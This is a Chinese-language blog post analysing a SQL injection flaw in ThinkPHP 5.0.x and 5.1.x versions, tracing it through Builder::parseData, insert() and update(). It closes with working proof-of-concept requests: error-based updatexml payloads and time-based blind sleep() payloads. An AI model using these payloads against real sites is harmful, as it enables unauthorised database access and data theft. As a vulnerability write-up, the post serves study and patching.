Thinkphp5 sql注入
2022/1/16 2:04:02
本文主要是介绍Thinkphp5 sql注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
Thinkphp5 sql注入
影响版本:
5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。
0x01漏洞触发点:
导致这个漏洞的函数为Builder类的parseData函数
这个函数的前半段主要作用为获取数据表的字段,然后进入一个循环,我们重点看第二个elseif处
这里有三个switch的case,我们可以看到如果$val[0]为exp时,$val[1]会直接拼接到$result中,其余两种情况则是会经过parseKey()处理之后再拼接上去,我们跟进paseKey()
parseKey()直接返回了$key,那么其实和第一种情况一样,也是直接将$val[1]拼接到了$result中,此时我们知道,如果$val可控,则$result的值可控。
知道了上述情况后,我们在Builder类里搜索一下,看有什么函数用到了parseData(),经过搜索得出,insert()和update()用到了parseData()
我们可以看到,insert()和update()都是将$data传入parseData()后直接将结果替换到先前定义好的sql语句中,然后直接返回
我们再在Query类中搜索看看有哪个函数用到了insert()和update(),经过搜索发现,Query类的insert()和update()用了这两个函数
我们可以看到,$data传入后经过array_merge()拼接后直接传入了Builder类的insert()中,上面我们分析过,insert()返回的结果我们是可控的,$options['fetch_sql']值也为空,所以最后sql语句会直接执行,造成注入。同理,update()也会将sql语句直接执行,所以update()也存在注入。
0x02漏洞利用
如果方法的写法为
$username = request()->get('username/a'); db('admin')->insert(['username' => $username]); $username = request()->get('username/a'); db('admin')->where("id")->update(['username' => $username]);
或
$username = $_GET['username']; db('admin')->insert(['username' => $username]); $username = $_GET['username']; db('admin')->where("id")->update(['username' => $username]);
等,则存在注入。第二种的payload比第一种多了$val[0]为exp的注入,因为第一种使用了request类中的get()方法,而get()中调用了filterExp(),会在exp后添加空格,这样就匹配不到case为exp的情况,所以第二种的payload比第一种多了$val[0]为exp的注入。
POC:
s=index/index/sql&username[0]=inc&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233
或
s=index/index/sql&username[0]=exp&username[1]=updatexml(1,concat('~',user(),'~'),1)&username[2]=233
如果app_debug没有开的话,可以使用insert和update时间盲注
update:
username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(5),sleep(3))%23&username[2]=233
insert:
?username[0]=exp&username[1]=%271%27%20and%20if((select%20length(database()))<5,sleep(3),sleep(2)))%23&username[2]=233
这篇关于Thinkphp5 sql注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-19php8的协程和hyperf的协程有什么区别?-icode9专业技术文章分享
- 2024-12-19php8 的fiber是什么?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-12-05怎么在php8,1 里面开启 debug?-icode9专业技术文章分享
- 2024-11-29使用PHP 将ETH账户的资产汇集到一个账户
- 2024-11-23怎么实现安卓+php 热更新方案?-icode9专业技术文章分享
- 2024-11-22PHP 中怎么实现判断多个值是否为空、null 或者为 false?-icode9专业技术文章分享
- 2024-11-11开源 PHP 商城项目 CRMEB 二次开发和部署教程
- 2024-11-09怎么使用php在kaufland平台刊登商品?-icode9专业技术文章分享
- 2024-11-05PHP的抽象类和接口是什么,有什么区别-icode9专业技术文章分享